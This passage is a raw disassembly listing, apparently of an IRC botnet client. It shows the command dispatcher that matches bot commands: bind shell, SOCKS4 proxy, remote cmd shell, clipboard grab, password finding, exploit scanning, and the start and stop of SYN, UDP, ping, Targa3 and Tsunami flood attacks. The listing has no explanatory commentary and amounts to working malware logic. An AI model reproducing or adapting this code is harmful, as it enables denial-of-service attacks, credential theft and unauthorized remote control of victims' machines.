mov [edi], ecx
jnz loc_401F75
loc_402551: ; CODE XREF: sub_401ACD+94Aj
mov edi, [edi]
push edi
push offset aC ; "c"
mov [ebp+arg_8], edi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40964C
push edi
push offset aK ; "k"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40964C
cmp [ebp+var_A4], ebx
jnz short loc_4025A2
push [ebp+var_8C]
push offset dword_42CCC8
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_409644
loc_4025A2: ; CODE XREF: sub_401ACD+AB9j
cmp [ebp+arg_28], ebx
jnz loc_409644
xor edi, edi
cmp dword_4294CC, ebx
jle loc_402757
mov [ebp+arg_20], offset dword_43DB90
loc_4025C0: ; CODE XREF: sub_401ACD+B12j
push [ebp+arg_8]
push [ebp+arg_20]
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_4025E6
add [ebp+arg_20], 0B8h
inc edi
cmp edi, dword_4294CC
jl short loc_4025C0
jmp loc_402757
; ---------------------------------------------------------------------------
loc_4025E6: ; CODE XREF: sub_401ACD+B02j
push offset asc_42CDC4 ; " :"
push [ebp+arg_0]
call sub_41C2E0
pop ecx
cmp eax, ebx
pop ecx
jz loc_401F75
mov cl, byte_429094
imul edi, 0B8h
mov [eax+2], cl
mov cl, byte_429094
mov [eax+3], cl
lea ecx, dword_43DBA8[edi]
push 9Fh
add eax, 4
push ecx
push eax
call sub_41BFD0
lea eax, [ebp+esi+var_50]
add esp, 0Ch
mov [ebp+arg_20], 0Fh
mov [ebp+arg_C], eax
loc_40263B: ; CODE XREF: sub_401ACD+C1Fj
push [ebp+arg_20]
lea eax, [ebp+var_A0]
push offset aD ; "$%d-"
push eax
call sub_41C266
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_41C2E0
add esp, 14h
test eax, eax
jz short loc_4026A7
mov eax, [ebp+arg_C]
cmp [eax], ebx
jz short loc_4026A7
lea eax, dword_43DB90[edi]
push eax
call sub_41B9C0
add [ebp+var_C], eax
pop ecx
jz short loc_4026E2
mov eax, [ebp+arg_C]
push dword ptr [eax-4]
push [ebp+var_C]
call sub_41C2E0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4026E2
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_41843B
add esp, 0Ch
jmp short loc_4026E2
; ---------------------------------------------------------------------------
loc_4026A7: ; CODE XREF: sub_401ACD+B96j
; sub_401ACD+B9Dj
mov eax, [ebp+arg_C]
cmp [eax], ebx
jnz short loc_4026E2
lea eax, [ebp+var_A0]
push 2
push eax
lea eax, [ebp+var_94]
push eax
call sub_41BFD0
lea eax, [ebp+var_94]
mov [ebp+var_92], bl
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_41843B
add esp, 18h
loc_4026E2: ; CODE XREF: sub_401ACD+BAFj
; sub_401ACD+BC3j ...
dec [ebp+arg_20]
sub [ebp+arg_C], 4
cmp [ebp+arg_20], ebx
jg loc_40263B
lea eax, [ebp+esi+var_50]
mov [ebp+arg_20], 10h
mov edi, eax
loc_4026FF: ; CODE XREF: sub_401ACD+C7Ej
push [ebp+arg_20]
lea eax, [ebp+var_A0]
push offset aD_0 ; "$%d"
push eax
call sub_41C266
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_41C2E0
add esp, 14h
test eax, eax
jz short loc_402742
mov eax, [edi]
cmp eax, ebx
jz short loc_402742
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_41843B
add esp, 0Ch
loc_402742: ; CODE XREF: sub_401ACD+C5Aj
; sub_401ACD+C60j
dec [ebp+arg_20]
sub edi, 4
cmp [ebp+arg_20], ebx
jg short loc_4026FF
mov [ebp+var_2C8], 1
loc_402757: ; CODE XREF: sub_401ACD+AE6j
; sub_401ACD+B14j
mov eax, [ebp+arg_8]
mov al, [eax]
cmp al, byte_429094
jz short loc_402770
cmp [ebp+var_2C8], ebx
jz loc_402961
loc_402770: ; CODE XREF: sub_401ACD+C95j
push [ebp+arg_10]
mov edi, [ebp+arg_0]
push offset aMe ; "$me"
push edi
call sub_41843B
lea eax, [ebp+var_C4]
push eax
push offset aUser ; "$user"
push edi
call sub_41843B
push [ebp+var_88]
push offset aChan ; "$chan"
push edi
call sub_41843B
push ebx
push ebx
lea eax, [ebp+var_A0]
push 2
push eax
call sub_40AE84
push eax
push offset aRndnick ; "$rndnick"
push edi
call sub_41843B
add esp, 40h
push [ebp+arg_14]
push offset aServer ; "$server"
push edi
call sub_41843B
mov edi, offset aChr ; "$chr("
push edi
push [ebp+arg_0]
call sub_41C2E0
add esp, 14h
loc_4027E2: ; CODE XREF: sub_401ACD+E0Dj
test eax, eax
jz loc_4028DF
push edi
push [ebp+arg_0]
call sub_41C2E0
mov [ebp+arg_10], eax
add eax, 5
push 4
push eax
lea eax, [ebp+var_A0]
push eax
call sub_41BFD0
lea eax, [ebp+var_A0]
push offset asc_42CAAC ; ")"
push eax
call sub_41CAD4
add esp, 1Ch
cmp [ebp+var_A0], 30h
jl short loc_40282E
cmp [ebp+var_A0], 39h
jle short loc_402844
loc_40282E: ; CODE XREF: sub_401ACD+D56j
push 3
lea eax, [ebp+var_A0]
push offset a63 ; "63"
push eax
call sub_41BFD0
add esp, 0Ch
loc_402844: ; CODE XREF: sub_401ACD+D5Fj
lea eax, [ebp+var_A0]
push eax
call sub_41C159
test eax, eax
pop ecx
jle short loc_40286A
lea eax, [ebp+var_A0]
push eax
call sub_41C159
pop ecx
mov [ebp+var_94], al
jmp short loc_40287E
; ---------------------------------------------------------------------------
loc_40286A: ; CODE XREF: sub_401ACD+D86j
call sub_41C2C2
push 60h
cdq
pop ecx
idiv ecx
add dl, 20h
mov [ebp+var_94], dl
loc_40287E: ; CODE XREF: sub_401ACD+D9Bj
lea eax, [ebp+var_A0]
mov [ebp+var_93], bl
push eax
call sub_41B9C0
mov [ebp+arg_20], eax
push 0Ch
lea eax, [ebp+var_A0]
push ebx
push eax
call sub_41BF70
mov eax, [ebp+arg_20]
add eax, 6
push eax
lea eax, [ebp+var_A0]
push [ebp+arg_10]
push eax
call sub_41BFD0
lea eax, [ebp+var_94]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_41843B
push edi
push [ebp+arg_0]
call sub_41C2E0
add esp, 30h
jmp loc_4027E2
; ---------------------------------------------------------------------------
loc_4028DF: ; CODE XREF: sub_401ACD+D17j
mov edi, 1FFh
lea eax, [ebp+var_428C]
push edi
push [ebp+arg_0]
push eax
call sub_41BFD0
lea eax, [ebp+var_428C]
push edi
push eax
lea eax, [ebp+var_4EF8]
push eax
call sub_41BFD0
lea eax, [ebp+var_4EF8]
push offset asc_42CDC0 ; " "
push eax
call sub_41CAD4
add esp, 20h
mov [ebp+var_90], eax
lea edi, [ebp+var_8C]
mov [ebp+arg_10], 1Fh
loc_40292F: ; CODE XREF: sub_401ACD+E77j
push offset asc_42CDC0 ; " "
push ebx
call sub_41CAD4
mov [edi], eax
pop ecx
add edi, 4
dec [ebp+arg_10]
pop ecx
jnz short loc_40292F
mov ecx, [ebp+esi+var_90]
lea eax, [ebp+esi+var_90]
cmp ecx, ebx
jz loc_401F75
add ecx, 3
mov [eax], ecx
loc_402961: ; CODE XREF: sub_401ACD+C9Dj
mov edi, [ebp+esi+var_90]
push edi
push offset aRndnick_0 ; "rndnick"
mov [ebp+arg_8], edi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4095F2
push edi
push offset aRn ; "rn"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4095F2
push edi
push offset aDi3 ; "di3"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4049B3
push edi
push offset aDi3 ; "di3"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4049B3
push edi
push offset aLogout ; "logout"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404911
push edi
push offset aLo ; "lo"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404911
push edi
push offset aVersion ; "version"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404902
push edi
push offset aVer ; "ver"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404902
push edi
push offset aRulez ; "rulez"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4048F8
push edi
push offset aRz ; "rz"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4048F8
push edi
push offset aSpeedtest ; "speedtest"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4048DF
push edi
push offset aSt ; "st"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4048DF
push edi
push offset aSecure ; "secure"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4047E1
push edi
push offset aSec ; "sec"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4047E1
push edi
push offset aUnsecure ; "unsecure"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4047E1
push edi
push offset aUnsec ; "unsec"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4047E1
push edi
push offset aBindshell ; "bindshell"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4046DB
push edi
push offset aBd ; "bd"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4046DB
push edi
push offset aBindshellstop ; "bindshellstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402B0E
push [ebp+esi+var_8C]
push 6
push offset aServer_0 ; "Server"
push offset dword_42CA08
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402B0E: ; CODE XREF: sub_401ACD+1027j
push edi
push offset aSocks4 ; "socks4"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4045B9
push edi
push offset aS4 ; "s4"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4045B9
push edi
push offset aSocks4stop ; "socks4stop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402B61
push [ebp+esi+var_8C]
push 19h
push offset aServer_0 ; "Server"
push offset dword_42C9E0
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402B61: ; CODE XREF: sub_401ACD+107Aj
push edi
push offset aRloginstop ; "rloginstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402B8A
push [ebp+esi+var_8C]
push 9
push offset aServer_0 ; "Server"
push offset dword_42C9C4
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402B8A: ; CODE XREF: sub_401ACD+10A3j
push edi
push offset aHttpstop ; "httpstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402BB3
push [ebp+esi+var_8C]
push 3
push offset aServer_0 ; "Server"
push offset dword_42C9A8
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402BB3: ; CODE XREF: sub_401ACD+10CCj
push edi
push offset aLogstop ; "logstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402BDC
push [ebp+esi+var_8C]
push 25h
push offset aLogList ; "Log list"
push offset dword_42C988
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402BDC: ; CODE XREF: sub_401ACD+10F5j
push edi
push offset aRedirectstop ; "redirectstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402C05
push [ebp+esi+var_8C]
push 18h
push offset aTcpRedirect ; "TCP redirect"
push offset dword_42C958
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402C05: ; CODE XREF: sub_401ACD+111Ej
push edi
push offset aDdos_stop ; "ddos.stop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402C2E
push [ebp+esi+var_8C]
push 0Dh
push offset aDdosFlood ; "DDoS flood"
push offset dword_42C934
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402C2E: ; CODE XREF: sub_401ACD+1147j
push edi
push offset aSynstop ; "synstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402C57
push [ebp+esi+var_8C]
push 0Eh
push offset aSynFlood ; "Syn flood"
push offset dword_42C914
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402C57: ; CODE XREF: sub_401ACD+1170j
push edi
push offset aSkysynstop ; "skysynstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402C80
push [ebp+esi+var_8C]
push 10h
push offset aSkysynFlood ; "SkySyn flood"
push offset dword_42C8E8
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402C80: ; CODE XREF: sub_401ACD+1199j
push edi
push offset aTarga3stop ; "targa3stop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402CA9
push [ebp+esi+var_8C]
push 11h
push offset aTarga3Flood ; "Targa3 flood"
push offset dword_42C8BC
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402CA9: ; CODE XREF: sub_401ACD+11C2j
push edi
push offset aWonkstop ; "wonkstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402CD2
push [ebp+esi+var_8C]
push 12h
push offset aWonkFlood ; "Wonk flood"
push offset dword_42C898
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402CD2: ; CODE XREF: sub_401ACD+11EBj
push edi
push offset aPacketstop ; "packetstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_402E28
mov esi, [ebp+esi+var_8C]
mov edi, [ebp+arg_4]
push esi
push 0Dh
push offset aDdosFlood ; "DDoS flood"
push offset dword_42C934
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B648
push esi
push 0Eh
push offset aSynFlood ; "Syn flood"
push offset dword_42C914
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B648
add esp, 40h
push esi
push 17h
push offset aUdpFlood ; "UDP flood"
push offset dword_42C874
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B648
push esi
push 16h
push offset aPingFlood ; "Ping flood"
push offset dword_42C85C
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B648
add esp, 40h
push esi
push 11h
push offset aTarga3Flood ; "Targa3 flood"
push offset dword_42C8BC
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B648
push esi
push 12h
push offset aWonkFlood ; "Wonk flood"
push offset dword_42C898
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B648
add esp, 40h
push esi
push 0Fh
push offset aTsunamiFlood ; "Tsunami flood"
push offset dword_42C83C
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B648
push esi
push 13h
push offset aWisdomAttack ; "Wisdom attack"
push offset dword_42C81C
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B648
add esp, 40h
push esi
push 10h
push offset aSkysynFlood ; "SkySyn flood"
push offset dword_42C8E8
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B648
push ebx
push [ebp+var_4]
push offset unk_42C7E8
push [ebp+var_88]
push edi
call sub_409869
add esp, 34h
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_402E28: ; CODE XREF: sub_401ACD+1214j
push edi
push offset aTsunamistop ; "tsunamistop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402E51
push [ebp+esi+var_8C]
push 0Fh
push offset aTsunamiFlood ; "Tsunami flood"
push offset dword_42C83C
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402E51: ; CODE XREF: sub_401ACD+136Aj
push edi
push offset aWisdomstop ; "wisdomstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402E7A
push [ebp+esi+var_8C]
push 13h
push offset aWisdomAttack ; "Wisdom attack"
push offset dword_42C81C
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402E7A: ; CODE XREF: sub_401ACD+1393j
push edi
push offset aUdpstop ; "udpstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402EA3
push [ebp+esi+var_8C]
push 17h
push offset aUdpFlood ; "UDP flood"
push offset dword_42C874
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402EA3: ; CODE XREF: sub_401ACD+13BCj
push edi
push offset aPingstop ; "pingstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402ECC
push [ebp+esi+var_8C]
push 16h
push offset aPingFlood ; "Ping flood"
push offset dword_42C85C
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402ECC: ; CODE XREF: sub_401ACD+13E5j
push edi
push offset aTftpstop ; "tftpstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402EF5
push [ebp+esi+var_8C]
push 5
push offset aServer_0 ; "Server"
push offset dword_42C7A0
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402EF5: ; CODE XREF: sub_401ACD+140Ej
push edi
push offset aFindfilestop ; "findfilestop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4045A1
push edi
push offset aFfstop ; "ffstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4045A1
push edi
push offset aProcsstop ; "procsstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404589
push edi
push offset aPsstop ; "psstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404589
push edi
push offset aClonestop ; "clonestop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402F72
push [ebp+esi+var_8C]
push 1Fh
push offset aClone ; "Clone"
push offset dword_42C750
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402F72: ; CODE XREF: sub_401ACD+148Bj
push edi
push offset aSecurestop ; "securestop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402F9B
push [ebp+esi+var_8C]
push 22h
push offset aSecure_0 ; "Secure"
push offset dword_42C72C
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402F9B: ; CODE XREF: sub_401ACD+14B4j
push edi
push offset aScanstop ; "scanstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402FC4
push [ebp+esi+var_8C]
push 0Bh
push offset aScan ; "Scan"
push offset dword_42C70C
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402FC4: ; CODE XREF: sub_401ACD+14DDj
push edi
push offset aScanstats ; "scanstats"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404573
push edi
push offset aStats ; "stats"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404573
push edi
push offset aTransferstats ; "transferstats"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40455D
push edi
push offset aTrstats ; "trstats"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40455D
push edi
push offset aConnectbacksta ; "connectbackstats"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404547
push edi
push offset aCbstats ; "cbstats"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404547
push edi
push offset aExploitlist ; "exploitlist"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404531
push edi
push offset aExplist ; "explist"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404531
push edi
push offset aReconnect ; "reconnect"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404512
push edi
push offset aR ; "r"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404512
push edi
push offset aDisconnect ; "disconnect"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4044F0
push edi
push offset aDc ; "dc"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4044F0
push edi
push offset aQuit_0 ; "quit"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4044A8
push edi
push offset aQ ; "q"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4044A8
push edi
push offset aStatus ; "status"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404494
push edi
push offset aS_5 ; "s"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404494
push edi
push offset aId ; "id"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40445D
push edi
push offset aI ; "i"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40445D
push edi
push offset aR3start ; "r3start"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_403190
call sub_418884
test eax, eax
mov eax, offset unk_42C64C
jnz short loc_403162
mov eax, offset unk_42C628
loc_403162: ; CODE XREF: sub_401ACD+168Ej
push eax
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 1Ch
jmp loc_4082DE
; ---------------------------------------------------------------------------
loc_403190: ; CODE XREF: sub_401ACD+1680j
push edi
push offset aThreads ; "threads"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40437E
push edi
push offset aT ; "t"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40437E
push edi
push offset aAliases ; "aliases"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40435B
push edi
push offset aAl ; "al"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40435B
push edi
push offset aLog ; "log"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404268
push edi
push offset aLg ; "lg"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404268
push edi
push offset aClearlog ; "clearlog"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40424C
push edi
push offset aClg ; "clg"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40424C
push edi
push offset aNetinfo ; "netinfo"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404212
push edi
push offset aNi ; "ni"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404212
push edi
push offset aSysinfo ; "sysinfo"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4041E7
push edi
push offset aSi ; "si"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4041E7
push edi
push offset aKosomaky4d ; "KOSOMAKY4D"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4041AD
push edi
push offset aKosomaky4d ; "KOSOMAKY4D"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4041AD
push edi
push offset aProcs ; "procs"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40408D
push edi
push offset aPs ; "ps"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40408D
push edi
push offset aUptime ; "uptime"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404005
push edi
push offset aUp ; "up"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404005
push edi
push offset aDriveinfo ; "driveinfo"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403FE8
push edi
push offset aDrv ; "drv"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403FE8
push edi
push offset aTestdlls ; "testdlls"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403FCF
push edi
push offset aDll ; "dll"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403FCF
push edi
push offset aOpencmd ; "opencmd"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403F5B
push edi
push offset aOcmd ; "ocmd"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403F5B
push edi
push offset aCmdstop ; "cmdstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_4033B1
push [ebp+esi+var_8C]
push 0Ah
push offset aRemoteShell ; "Remote shell"
push offset dword_42C568
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_4033B1: ; CODE XREF: sub_401ACD+18CAj
push edi
push offset dword_42C564
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4034C7
cmp [ebp+var_8], ebx
jnz short loc_4033E5
push ebx
push [ebp+var_4]
push offset dword_42C550
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_4033E5: ; CODE XREF: sub_401ACD+18FCj
mov eax, [ebp+arg_18]
xor edi, edi
mov [ebp+arg_18], eax
jmp short loc_4033F2
; ---------------------------------------------------------------------------
loc_4033EF: ; CODE XREF: sub_401ACD+196Cj
mov eax, [ebp+arg_18]
loc_4033F2: ; CODE XREF: sub_401ACD+1920j
cmp [eax], bl
jz short loc_4033F9
inc eax
jmp short loc_4033FE
; ---------------------------------------------------------------------------
loc_4033F9: ; CODE XREF: sub_401ACD+1927j
mov eax, offset aEmpty ; "<Empty>"
loc_4033FE: ; CODE XREF: sub_401ACD+192Aj
push eax
push edi
lea eax, [ebp+var_2C4]
push offset aD_S ; "%d. %s"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add [ebp+arg_18], 80h
add esp, 24h
inc edi
cmp edi, 3
jl short loc_4033EF
push offset unk_42C520
call sub_415D38
pop ecx
loc_403446: ; CODE XREF: sub_401ACD+1BFDj
; sub_401ACD+2EFAj
mov edi, [ebp+esi+var_8C]
cmp edi, ebx
mov [ebp+arg_20], edi
jz loc_401F75
push [ebp+arg_8]
push offset aSpoof ; "spoof"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_404AAB
push offset aOff ; "off"
push edi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4049D9
lea eax, [ebp+var_2C4]
push offset unk_42C4EC
push eax
mov dword_4CF180, ebx
call sub_41C266
pop ecx
pop ecx
loc_40349D: ; CODE XREF: sub_401ACD+2FD9j
cmp [ebp+var_8], ebx
jnz loc_409644
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
loc_4034BF: ; CODE XREF: sub_401ACD+7032j
add esp, 14h
jmp loc_409644
; ---------------------------------------------------------------------------
loc_4034C7: ; CODE XREF: sub_401ACD+18F3j
push edi
push offset aGetclip ; "getclip"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403F1A
push edi
push offset aGc ; "gc"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403F1A
push edi
push offset aFlusharp ; "flusharp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403F03
push edi
push offset aFarp ; "farp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403F03
push edi
push offset aFlushdns ; "flushdns"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403ECB
push edi
push offset aFdns ; "fdns"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403ECB
push edi
push offset aCurrentip ; "currentip"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403E91
push edi
push offset aCip ; "cip"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403E91
push edi
push offset aRloginserver ; "rloginserver"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403D56
push edi
push offset aRlogin ; "rlogin"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403D56
push edi
push offset aHttpserver ; "httpserver"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403BCA
push edi
push offset aHttp ; "http"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403BCA
push edi
push offset aTftpserver ; "tftpserver"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403A90
push edi
push offset aTftp ; "tftp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403A90
push edi
push offset aShitycrash ; "shitycrash"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_403653
lea eax, [ebp+var_2C4]
push offset unk_42C444
push eax
call sub_41C266
cmp [ebp+var_8], ebx
pop ecx
pop ecx
jnz short loc_403632
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_403632: ; CODE XREF: sub_401ACD+1B47j
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
mov [esp+10h+var_10], offset aShitycrash ; "shitycrash"
push [ebp+esi+var_7C]
call sub_41CA50
jmp loc_4097D0
; ---------------------------------------------------------------------------
loc_403653: ; CODE XREF: sub_401ACD+1B2Fj
push edi
push offset aAsc ; "asc"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403789
push edi
push offset aAs ; "as"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403789
push edi
push offset aPhonehome ; "phonehome"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_4036AA
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: DADI Are You T"...
push [ebp+arg_4]
call sub_409823
loc_4036A2: ; CODE XREF: sub_401ACD+47Bj
add esp, 0Ch
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_4036AA: ; CODE XREF: sub_401ACD+1BBFj
push edi
push offset aFindpass ; "findpass"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_4036D0
push edi
push offset aFp ; "fp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_403446
loc_4036D0: ; CODE XREF: sub_401ACD+1BECj
push [ebp+var_88]
lea eax, [ebp+var_FEC]
push 80h
push eax
call sub_41C360
mov eax, [ebp+arg_4]
add esp, 0Ch
